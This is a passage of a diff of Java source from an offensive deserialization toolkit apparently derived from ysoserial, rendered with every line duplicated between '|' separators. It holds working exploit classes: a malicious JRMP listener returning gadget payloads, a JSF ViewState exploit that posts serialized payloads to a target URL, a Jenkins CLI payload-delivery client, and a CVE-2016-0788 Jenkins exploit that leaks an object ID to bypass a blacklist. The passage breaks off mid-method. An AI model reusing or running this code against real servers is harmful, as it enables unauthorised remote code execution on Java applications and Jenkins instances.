doMessage(s, in, out, this.payloadObject);
|
doMessage(s, in, out, this.payloadObject);
|
||||||
break;
|
break;
|
||||||
case TransportConstants.MultiplexProtocol:
|
case TransportConstants.MultiplexProtocol:
|
||||||
System.err.println("Unsupported protocol");
|
System.err.println("Unsupported protocol");
|
||||||
s.close();
|
s.close();
|
||||||
continue;
|
continue;
|
||||||
default:
|
default:
|
||||||
}
|
}
|
||||||
|
|
||||||
bufOut.flush();
|
bufOut.flush();
|
||||||
out.flush();
|
out.flush();
|
||||||
} catch (InterruptedException e) {
|
} catch (InterruptedException e) {
|
||||||
return;
|
return;
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace(System.err);
|
e.printStackTrace(System.err);
|
||||||
} finally {
|
} finally {
|
||||||
System.err.println("Closing connection");
|
System.err.println("Closing connection");
|
||||||
s.close();
|
s.close();
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
} finally {
|
} finally {
|
||||||
if (s != null) {
|
if (s != null) {
|
||||||
s.close();
|
s.close();
|
||||||
}
|
}
|
||||||
if (this.ss != null) {
|
if (this.ss != null) {
|
||||||
this.ss.close();
|
this.ss.close();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
} catch (SocketException ignored) {
|
} catch (SocketException ignored) {
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace(System.err);
|
e.printStackTrace(System.err);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception {
|
private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception {
|
||||||
System.err.println("Reading message...");
|
System.err.println("Reading message...");
|
||||||
|
|
||||||
int op = in.read();
|
int op = in.read();
|
||||||
|
|
||||||
switch (op) {
|
switch (op) {
|
||||||
case TransportConstants.Call:
|
case TransportConstants.Call:
|
||||||
// service incoming RMI call
|
// service incoming RMI call
|
||||||
doCall(in, out, payload);
|
doCall(in, out, payload);
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case TransportConstants.Ping:
|
case TransportConstants.Ping:
|
||||||
// send ack for ping
|
// send ack for ping
|
||||||
out.writeByte(TransportConstants.PingAck);
|
out.writeByte(TransportConstants.PingAck);
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case TransportConstants.DGCAck:
|
case TransportConstants.DGCAck:
|
||||||
break;
|
break;
|
||||||
|
|
||||||
default:
|
default:
|
||||||
throw new IOException("unknown transport op " + op);
|
throw new IOException("unknown transport op " + op);
|
||||||
}
|
}
|
||||||
|
|
||||||
s.close();
|
s.close();
|
||||||
}
|
}
|
||||||
|
|
||||||
private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
|
private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
|
||||||
ObjectInputStream ois = new ObjectInputStream(in) {
|
ObjectInputStream ois = new ObjectInputStream(in) {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
|
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
|
||||||
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
|
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
|
||||||
return ObjID[].class;
|
return ObjID[].class;
|
||||||
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
|
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
|
||||||
return ObjID.class;
|
return ObjID.class;
|
||||||
} else if ("java.rmi.server.UID".equals(desc.getName())) {
|
} else if ("java.rmi.server.UID".equals(desc.getName())) {
|
||||||
return UID.class;
|
return UID.class;
|
||||||
}
|
}
|
||||||
throw new IOException("Not allowed to read object");
|
throw new IOException("Not allowed to read object");
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
ObjID read;
|
ObjID read;
|
||||||
try {
|
try {
|
||||||
read = ObjID.read(ois);
|
read = ObjID.read(ois);
|
||||||
} catch (java.io.IOException e) {
|
} catch (java.io.IOException e) {
|
||||||
throw new MarshalException("unable to read objID", e);
|
throw new MarshalException("unable to read objID", e);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
if (read.hashCode() == 2) {
|
if (read.hashCode() == 2) {
|
||||||
ois.readInt(); // method
|
ois.readInt(); // method
|
||||||
ois.readLong(); // hash
|
ois.readLong(); // hash
|
||||||
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
|
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
|
||||||
}
|
}
|
||||||
|
|
||||||
System.err.println("Sending return with payload for obj " + read);
|
System.err.println("Sending return with payload for obj " + read);
|
||||||
|
|
||||||
out.writeByte(TransportConstants.Return);// transport op
|
out.writeByte(TransportConstants.Return);// transport op
|
||||||
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
|
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
|
||||||
|
|
||||||
oos.writeByte(TransportConstants.ExceptionalReturn);
|
oos.writeByte(TransportConstants.ExceptionalReturn);
|
||||||
new UID().write(oos);
|
new UID().write(oos);
|
||||||
|
|
||||||
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
|
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
|
||||||
Reflections.setFieldValue(ex, "val", payload);
|
Reflections.setFieldValue(ex, "val", payload);
|
||||||
oos.writeObject(ex);
|
oos.writeObject(ex);
|
||||||
|
|
||||||
oos.flush();
|
oos.flush();
|
||||||
out.flush();
|
out.flush();
|
||||||
|
|
||||||
this.hadConnection = true;
|
this.hadConnection = true;
|
||||||
synchronized (this.waitLock) {
|
synchronized (this.waitLock) {
|
||||||
this.waitLock.notifyAll();
|
this.waitLock.notifyAll();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static class Dummy implements Serializable {
|
public static class Dummy implements Serializable {
|
||||||
|
|
||||||
private static final long serialVersionUID = 1L;
|
private static final long serialVersionUID = 1L;
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,79 +1,79 @@
|
|||||||
package com.qi4l.JYso.exploit;
|
package com.qi4l.JYso.exploit;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.ObjectOutputStream;
|
import java.io.ObjectOutputStream;
|
||||||
import java.io.OutputStream;
|
import java.io.OutputStream;
|
||||||
import java.net.HttpURLConnection;
|
import java.net.HttpURLConnection;
|
||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.net.URLConnection;
|
import java.net.URLConnection;
|
||||||
import java.net.URLEncoder;
|
import java.net.URLEncoder;
|
||||||
import java.nio.charset.StandardCharsets;
|
import java.nio.charset.StandardCharsets;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* JSF view state exploit
|
* JSF view state exploit
|
||||||
* <p>
|
* <p>
|
||||||
* Delivers a gadget payload via JSF ViewState token.
|
* Delivers a gadget payload via JSF ViewState token.
|
||||||
* <p>
|
* <p>
|
||||||
* This will only work if ViewState encryption/mac is disabled.
|
* This will only work if ViewState encryption/mac is disabled.
|
||||||
* <p>
|
* <p>
|
||||||
* While it has been long known that client side state saving
|
* While it has been long known that client side state saving
|
||||||
* with encryption disabled leads to RCE via EL injection,
|
* with encryption disabled leads to RCE via EL injection,
|
||||||
* this of course also works with deserialization gadgets.
|
* this of course also works with deserialization gadgets.
|
||||||
* <p>
|
* <p>
|
||||||
* Also, it turns out that MyFaces is vulnerable to this even when
|
* Also, it turns out that MyFaces is vulnerable to this even when
|
||||||
* using server-side state saving
|
* using server-side state saving
|
||||||
* (yes, please, let's (de-)serialize a String as an Object).
|
* (yes, please, let's (de-)serialize a String as an Object).
|
||||||
*
|
*
|
||||||
* @author mbechler
|
* @author mbechler
|
||||||
*/
|
*/
|
||||||
public class JSF {
|
public class JSF {
|
||||||
|
|
||||||
public static void main(String[] args) {
|
public static void main(String[] args) {
|
||||||
|
|
||||||
if (args.length < 3) {
|
if (args.length < 3) {
|
||||||
System.err.println(JSF.class.getName() + " <view_url> <args...>");
|
System.err.println(JSF.class.getName() + " <view_url> <args...>");
|
||||||
System.exit(-1);
|
System.exit(-1);
|
||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
URL u = new URL(args[0]);
|
URL u = new URL(args[0]);
|
||||||
|
|
||||||
// 去除前两个参数
|
// 去除前两个参数
|
||||||
String[] newArray = new String[args.length - 1];
|
String[] newArray = new String[args.length - 1];
|
||||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||||
|
|
||||||
ysoserial.run(newArray);
|
ysoserial.run(newArray);
|
||||||
Object payloadObject = ysoserial.PAYLOAD;
|
Object payloadObject = ysoserial.PAYLOAD;
|
||||||
|
|
||||||
URLConnection c = u.openConnection();
|
URLConnection c = u.openConnection();
|
||||||
if (!(c instanceof HttpURLConnection)) {
|
if (!(c instanceof HttpURLConnection)) {
|
||||||
throw new IllegalArgumentException("Not a HTTP url");
|
throw new IllegalArgumentException("Not a HTTP url");
|
||||||
}
|
}
|
||||||
|
|
||||||
HttpURLConnection hc = (HttpURLConnection) c;
|
HttpURLConnection hc = (HttpURLConnection) c;
|
||||||
hc.setDoOutput(true);
|
hc.setDoOutput(true);
|
||||||
hc.setRequestMethod("POST");
|
hc.setRequestMethod("POST");
|
||||||
hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
|
hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
|
||||||
OutputStream os = hc.getOutputStream();
|
OutputStream os = hc.getOutputStream();
|
||||||
|
|
||||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||||
ObjectOutputStream oos = new ObjectOutputStream(bos);
|
ObjectOutputStream oos = new ObjectOutputStream(bos);
|
||||||
oos.writeObject(payloadObject);
|
oos.writeObject(payloadObject);
|
||||||
oos.close();
|
oos.close();
|
||||||
byte[] data = bos.toByteArray();
|
byte[] data = bos.toByteArray();
|
||||||
String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
|
String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
|
||||||
os.write(requestBody.getBytes(StandardCharsets.US_ASCII));
|
os.write(requestBody.getBytes(StandardCharsets.US_ASCII));
|
||||||
os.close();
|
os.close();
|
||||||
|
|
||||||
System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
|
System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace(System.err);
|
e.printStackTrace(System.err);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,119 +1,119 @@
|
|||||||
package com.qi4l.JYso.exploit;
|
package com.qi4l.JYso.exploit;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import hudson.remoting.Callable;
|
import hudson.remoting.Callable;
|
||||||
import hudson.remoting.Channel;
|
import hudson.remoting.Channel;
|
||||||
import hudson.remoting.Channel.Mode;
|
import hudson.remoting.Channel.Mode;
|
||||||
import hudson.remoting.ChannelBuilder;
|
import hudson.remoting.ChannelBuilder;
|
||||||
import org.apache.logging.log4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.apache.logging.log4j.LogManager;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import javax.net.SocketFactory;
|
import javax.net.SocketFactory;
|
||||||
import java.io.DataOutputStream;
|
import java.io.DataOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.OutputStream;
|
import java.io.OutputStream;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.net.*;
|
import java.net.*;
|
||||||
import java.util.concurrent.ExecutorService;
|
import java.util.concurrent.ExecutorService;
|
||||||
import java.util.concurrent.Executors;
|
import java.util.concurrent.Executors;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Jenkins CLI client
|
* Jenkins CLI client
|
||||||
* <p>
|
* <p>
|
||||||
* Jenkins unfortunately is still using a custom serialization based
|
* Jenkins unfortunately is still using a custom serialization based
|
||||||
* protocol for remote communications only protected by a blacklisting
|
* protocol for remote communications only protected by a blacklisting
|
||||||
* application level filter.
|
* application level filter.
|
||||||
* <p>
|
* <p>
|
||||||
* This is a generic client delivering a gadget chain payload via that protocol.
|
* This is a generic client delivering a gadget chain payload via that protocol.
|
||||||
*
|
*
|
||||||
* @author mbechler
|
* @author mbechler
|
||||||
*/
|
*/
|
||||||
public class JenkinsCLI {
|
public class JenkinsCLI {
|
||||||
|
|
||||||
private static final Logger log = LogManager.getLogger(JenkinsCLI.class);
|
private static final Logger log = LogManager.getLogger(JenkinsCLI.class);
|
||||||
|
|
||||||
public static void main(final String[] args) throws Exception {
|
public static void main(final String[] args) throws Exception {
|
||||||
if (args.length < 5) {
|
if (args.length < 5) {
|
||||||
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <args...>");
|
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <args...>");
|
||||||
System.exit(-1);
|
System.exit(-1);
|
||||||
}
|
}
|
||||||
|
|
||||||
String jenkinsUrl = args[0];
|
String jenkinsUrl = args[0];
|
||||||
// 去除前一个参数
|
// 去除前一个参数
|
||||||
String[] newArray = new String[args.length - 1];
|
String[] newArray = new String[args.length - 1];
|
||||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||||
|
|
||||||
ysoserial.run(newArray);
|
ysoserial.run(newArray);
|
||||||
Object payloadObject = ysoserial.PAYLOAD;
|
Object payloadObject = ysoserial.PAYLOAD;
|
||||||
|
|
||||||
Channel c = null;
|
Channel c = null;
|
||||||
try {
|
try {
|
||||||
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
||||||
c = JenkinsCLI.openChannel(isa);
|
c = JenkinsCLI.openChannel(isa);
|
||||||
c.call(getPropertyCallable(payloadObject));
|
c.call(getPropertyCallable(payloadObject));
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
log.error(String.valueOf(e));
|
log.error(String.valueOf(e));
|
||||||
} finally {
|
} finally {
|
||||||
if (c != null) {
|
if (c != null) {
|
||||||
try {
|
try {
|
||||||
c.close();
|
c.close();
|
||||||
} catch (IOException e) {
|
} catch (IOException e) {
|
||||||
e.printStackTrace(System.err);
|
e.printStackTrace(System.err);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Callable<?, ?> getPropertyCallable(final Object prop)
|
public static Callable<?, ?> getPropertyCallable(final Object prop)
|
||||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
|
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
|
||||||
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
|
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
|
||||||
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
|
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
|
||||||
Reflections.setAccessible(reqCons);
|
Reflections.setAccessible(reqCons);
|
||||||
Object getJarLoader = reqCons
|
Object getJarLoader = reqCons
|
||||||
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{
|
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{
|
||||||
prop
|
prop
|
||||||
});
|
});
|
||||||
return (Callable<?, ?>) getJarLoader;
|
return (Callable<?, ?>) getJarLoader;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static InetSocketAddress getCliPort(String jenkinsUrl) throws IOException {
|
public static InetSocketAddress getCliPort(String jenkinsUrl) throws IOException {
|
||||||
URL u = new URL(jenkinsUrl);
|
URL u = new URL(jenkinsUrl);
|
||||||
|
|
||||||
URLConnection conn = u.openConnection();
|
URLConnection conn = u.openConnection();
|
||||||
if (!(conn instanceof HttpURLConnection)) {
|
if (!(conn instanceof HttpURLConnection)) {
|
||||||
System.err.println("Not a HTTP URL");
|
System.err.println("Not a HTTP URL");
|
||||||
throw new MalformedURLException();
|
throw new MalformedURLException();
|
||||||
}
|
}
|
||||||
|
|
||||||
HttpURLConnection hc = (HttpURLConnection) conn;
|
HttpURLConnection hc = (HttpURLConnection) conn;
|
||||||
if (hc.getResponseCode() >= 400) {
|
if (hc.getResponseCode() >= 400) {
|
||||||
System.err.println("* Error connection to jenkins HTTP " + u);
|
System.err.println("* Error connection to jenkins HTTP " + u);
|
||||||
}
|
}
|
||||||
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
|
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
|
||||||
|
|
||||||
return new InetSocketAddress(u.getHost(), clip);
|
return new InetSocketAddress(u.getHost(), clip);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Channel openChannel(InetSocketAddress isa) throws IOException {
|
public static Channel openChannel(InetSocketAddress isa) throws IOException {
|
||||||
System.err.println("* Opening socket " + isa);
|
System.err.println("* Opening socket " + isa);
|
||||||
Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
|
Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
|
||||||
s.setKeepAlive(true);
|
s.setKeepAlive(true);
|
||||||
s.setTcpNoDelay(true);
|
s.setTcpNoDelay(true);
|
||||||
|
|
||||||
System.err.println("* Opening channel");
|
System.err.println("* Opening channel");
|
||||||
OutputStream outputStream = s.getOutputStream();
|
OutputStream outputStream = s.getOutputStream();
|
||||||
DataOutputStream dos = new DataOutputStream(outputStream);
|
DataOutputStream dos = new DataOutputStream(outputStream);
|
||||||
dos.writeUTF("Protocol:CLI-connect");
|
dos.writeUTF("Protocol:CLI-connect");
|
||||||
ExecutorService cp = Executors.newCachedThreadPool(r -> {
|
ExecutorService cp = Executors.newCachedThreadPool(r -> {
|
||||||
Thread t = new Thread(r, "Channel");
|
Thread t = new Thread(r, "Channel");
|
||||||
t.setDaemon(true);
|
t.setDaemon(true);
|
||||||
return t;
|
return t;
|
||||||
});
|
});
|
||||||
Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
|
Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
|
||||||
System.err.println("* Channel open");
|
System.err.println("* Channel open");
|
||||||
return c;
|
return c;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,202 +1,200 @@
|
|||||||
package com.qi4l.JYso.exploit;
|
package com.qi4l.JYso.exploit;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||||
import com.qi4l.JYso.gadgets.JRMPListener;
|
import com.qi4l.JYso.gadgets.JRMPListener;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import hudson.remoting.Callable;
|
import hudson.remoting.Callable;
|
||||||
import hudson.remoting.Channel;
|
import hudson.remoting.Channel;
|
||||||
import hudson.remoting.JarLoader;
|
import hudson.remoting.JarLoader;
|
||||||
import org.apache.logging.log4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.apache.logging.log4j.LogManager;
|
import org.apache.logging.log4j.LogManager;
|
||||||
import sun.rmi.server.Util;
|
import sun.rmi.server.Util;
|
||||||
import sun.rmi.transport.TransportConstants;
|
import sun.rmi.transport.TransportConstants;
|
||||||
|
|
||||||
import javax.net.SocketFactory;
|
import javax.net.SocketFactory;
|
||||||
import java.io.DataOutputStream;
|
import java.io.DataOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.ObjectOutputStream;
|
import java.io.ObjectOutputStream;
|
||||||
import java.io.OutputStream;
|
import java.io.OutputStream;
|
||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
import java.net.InetSocketAddress;
|
import java.net.InetSocketAddress;
|
||||||
import java.net.Socket;
|
import java.net.Socket;
|
||||||
import java.rmi.activation.ActivationDesc;
|
import java.rmi.activation.ActivationDesc;
|
||||||
import java.rmi.activation.ActivationID;
|
import java.rmi.activation.ActivationID;
|
||||||
import java.rmi.activation.ActivationInstantiator;
|
import java.rmi.activation.ActivationInstantiator;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* CVE-2016-0788 exploit (1)
|
* CVE-2016-0788 exploit (1)
|
||||||
* <p>
|
* <p>
|
||||||
* 1. delivers a com.qi4l.JYso.exploit.JRMPListener payload to jenkins via it's remoting protocol.
|
* 1. delivers a com.qi4l.JYso.exploit.JRMPListener payload to jenkins via it's remoting protocol.
|
||||||
* 2. that payload causes the remote server to open up an JRMP listener (and export an object).
|
* 2. that payload causes the remote server to open up an JRMP listener (and export an object).
|
||||||
* 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
|
* 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
|
||||||
* <p>
|
* <p>
|
||||||
* Extra twist:
|
* Extra twist:
|
||||||
* The well-known objects exported by the listener use the system classloader which usually
|
* The well-known objects exported by the listener use the system classloader which usually
|
||||||
* won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
|
* won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
|
||||||
* (which is using jenkins' classloader) that typically is properly randomized.
|
* (which is using jenkins' classloader) that typically is properly randomized.
|
||||||
* Fortunately - for the exploiting party - there is also a gadget that allows to leak
|
* Fortunately - for the exploiting party - there is also a gadget that allows to leak
|
||||||
* that identifier via an exception.
|
* that identifier via an exception.
|
||||||
*
|
*
|
||||||
* @author mbechler
|
* @author mbechler
|
||||||
*/
|
*/
|
||||||
@SuppressWarnings({
|
@SuppressWarnings({
|
||||||
"restriction"
|
"restriction"
|
||||||
})
|
})
|
||||||
public class JenkinsListener {
|
public class JenkinsListener {
|
||||||
|
|
||||||
private static final Logger log = LogManager.getLogger(JenkinsListener.class);
|
private static final Logger log = LogManager.getLogger(JenkinsListener.class);
|
||||||
|
|
||||||
public static void main(final String[] args) {
|
public static void main(final String[] args) {
|
||||||
|
|
||||||
if (args.length < 5) {
|
if (args.length < 5) {
|
||||||
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <args...> ");
|
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <args...> ");
|
||||||
System.exit(-1);
|
System.exit(-1);
|
||||||
}
|
}
|
||||||
|
|
||||||
String jenkinsUrl = args[0];
|
String jenkinsUrl = args[0];
|
||||||
int jrmpPort = 12345;
|
int jrmpPort = 12345;
|
||||||
|
|
||||||
Channel c = null;
|
Channel c = null;
|
||||||
try {
|
try {
|
||||||
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
||||||
c = JenkinsCLI.openChannel(isa);
|
c = JenkinsCLI.openChannel(isa);
|
||||||
|
|
||||||
Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
|
Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
|
||||||
InvocationHandler remote = Proxy.getInvocationHandler(call);
|
InvocationHandler remote = Proxy.getInvocationHandler(call);
|
||||||
int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
|
int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
|
||||||
|
|
||||||
System.err.println("* JarLoader oid is " + oid);
|
System.err.println("* JarLoader oid is " + oid);
|
||||||
|
|
||||||
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
|
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
|
||||||
|
|
||||||
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
|
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
|
||||||
|
|
||||||
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
|
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
|
||||||
|
|
||||||
try {
|
try {
|
||||||
c.call((Callable<?, ?>) o);
|
c.call((Callable<?, ?>) o);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
// [ActivationGroupImpl[UnicastServerRef [liveRef:
|
// [ActivationGroupImpl[UnicastServerRef [liveRef:
|
||||||
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
|
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
|
||||||
// -9046794842107247609]]
|
// -9046794842107247609]]
|
||||||
|
|
||||||
System.err.println(e.getMessage());
|
System.err.println(e.getMessage());
|
||||||
|
|
||||||
parseObjIdAndExploit(args, jrmpPort, isa, e);
|
parseObjIdAndExploit(args, jrmpPort, isa, e);
|
||||||
}
|
}
|
||||||
|
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
log.error(String.valueOf(e));
|
log.error(String.valueOf(e));
|
||||||
} finally {
|
} finally {
|
||||||
if (c != null) {
|
if (c != null) {
|
||||||
try {
|
try {
|
||||||
c.close();
|
c.close();
|
||||||
} catch (IOException e) {
|
} catch (IOException e) {
|
||||||
e.printStackTrace(System.err);
|
e.printStackTrace(System.err);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
private static Object makeIsPresentOnRemoteCallable(int oid, Object uro, Class<?> reqClass)
|
private static Object makeIsPresentOnRemoteCallable(int oid, Object uro, Class<?> reqClass)
|
||||||
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
|
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
|
||||||
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
|
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
|
||||||
Reflections.setAccessible(reqCons);
|
Reflections.setAccessible(reqCons);
|
||||||
return reqCons
|
return reqCons
|
||||||
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[]{
|
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[]{
|
||||||
uro,
|
uro,
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception {
|
private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception {
|
||||||
String msg = e.getMessage();
|
String msg = e.getMessage();
|
||||||
int start = msg.indexOf("objID:[");
|
int start = msg.indexOf("objID:[");
|
||||||
if (start < 0) {
|
if (start < 0) {
|
||||||
throw new Exception("Failed to get object id");
|
throw new Exception("Failed to get object id");
|
||||||
}
|
}
|
||||||
|
|
||||||
int sep = msg.indexOf(", ", start + 1);
|
int sep = msg.indexOf(", ", start + 1);
|
||||||
|
|
||||||
if (sep < 0) {
|
if (sep < 0) {
|
||||||
throw new Exception("Failed to get object id, separator");
|
throw new Exception("Failed to get object id, separator");
|
||||||
}
|
}
|
||||||
|
|
||||||
int end = msg.indexOf("]", sep + 1);
|
int end = msg.indexOf("]", sep + 1);
|
||||||
|
|
||||||
if (end < 0) {
|
if (end < 0) {
|
||||||
throw new Exception("Failed to get object id, separator");
|
throw new Exception("Failed to get object id, separator");
|
||||||
}
|
}
|
||||||
|
|
||||||
String uid = msg.substring(start + 7, sep);
|
String uid = msg.substring(start + 7, sep);
|
||||||
String objNum = msg.substring(sep + 2, end);
|
String objNum = msg.substring(sep + 2, end);
|
||||||
|
|
||||||
System.err.println("* UID is " + uid);
|
System.err.println("* UID is " + uid);
|
||||||
System.err.println("* ObjNum is " + objNum);
|
System.err.println("* ObjNum is " + objNum);
|
||||||
|
|
||||||
String[] parts = uid.split(":");
|
String[] parts = uid.split(":");
|
||||||
